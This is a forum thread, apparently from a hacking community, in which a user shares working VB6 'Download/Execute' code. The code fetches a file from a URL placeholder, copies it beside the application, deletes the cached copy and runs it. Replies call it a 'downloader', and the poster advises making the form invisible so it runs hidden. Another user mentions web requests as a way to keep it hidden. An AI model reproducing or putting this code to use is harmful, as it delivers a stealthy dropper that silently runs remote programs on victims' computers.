[VB6] Download/Execute

[Arron XR]

Hello SF I have used this code for along tiem now.

works great.

Code:

'Download a file into 'Temporary Internet Files'
'Move to Folder
'Kill Temp

Private Declare Function URLDownloadToCacheFile Lib "urlmon" Alias "URLDownloadToCacheFileA" (ByVal lpUnkcaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwBufLength As Long, ByVal dwReserved As Long, ByVal IBindStatusCallback As Long) As Long

Function DownloadFile(URL As String) As String
Dim szFileName As String
szFileName = Space$(300)
If URLDownloadToCacheFile(0, URL, szFileName, Len(szFileName), 0, 0) = 0 Then DownloadFile = Trim(szFileName)
End Function

Private Sub Form_load()
On Error GoTo Err
Dim tmp As String, fName As String, Pos As Long, fPath As String
tmp = DownloadFile("ADD DIRECT LINK HERE")

'Copy to directory, grab the filename, remove the [x] added by Windows''\yuk1[1].gif ''
fName = Mid$(tmp, InStrRev((tmp), "\"))
Pos = InStr(1, fName, ".")
'Note: fName includes leading "\", eg: "\yuk1.gif"
fName = Mid$(fName, 1, Pos - 4) & Mid$(fName, Pos)

'Move file to Directory
fPath = App.Path & fName
FileCopy tmp, fPath

'Delete Temp
Kill tmp
Shell fPath, vbNormalFocus

End
Exit Sub
Err: MsgBox "Error", vbCritical + vbOKOnly, "Error!"
End
End Sub

Need help Pm me.

I did not coded this found on forums.

[ScripT]

Thanks a lot Arron, I'll try this out.

[AceInfinity]

I had a WebRequest file downloader that I coded. It downloads the file in bytes/chunks so that it doesn't freeze if you want to download a huge 1GB+ file.

[Kyle FYI™]

hmm, should make a downloader out of it.

[AceInfinity]

hmm, should make a downloader out of it.

It's already a downloader lol, the whole class/code he posted is a downloader.

[Arron XR]

hmm, should make a downloader out of it.

yes just copy this code into a form and make form1 and select visible FALSE.

[AceInfinity]

yes just copy this code into a form and make form1 and select visible FALSE.

Why would you need to have a form for it entirely by itself? Seems pointless to me. You can do this using webrequests too if you want it hidden.

[VIRUZ™]

Thanks for this some of us still occasionally code in vb6

[Arron XR]

Why would you need to have a form for it entirely by itself? Seems pointless to me. You can do this using webrequests too if you want it hidden.

you could but this works easier for me.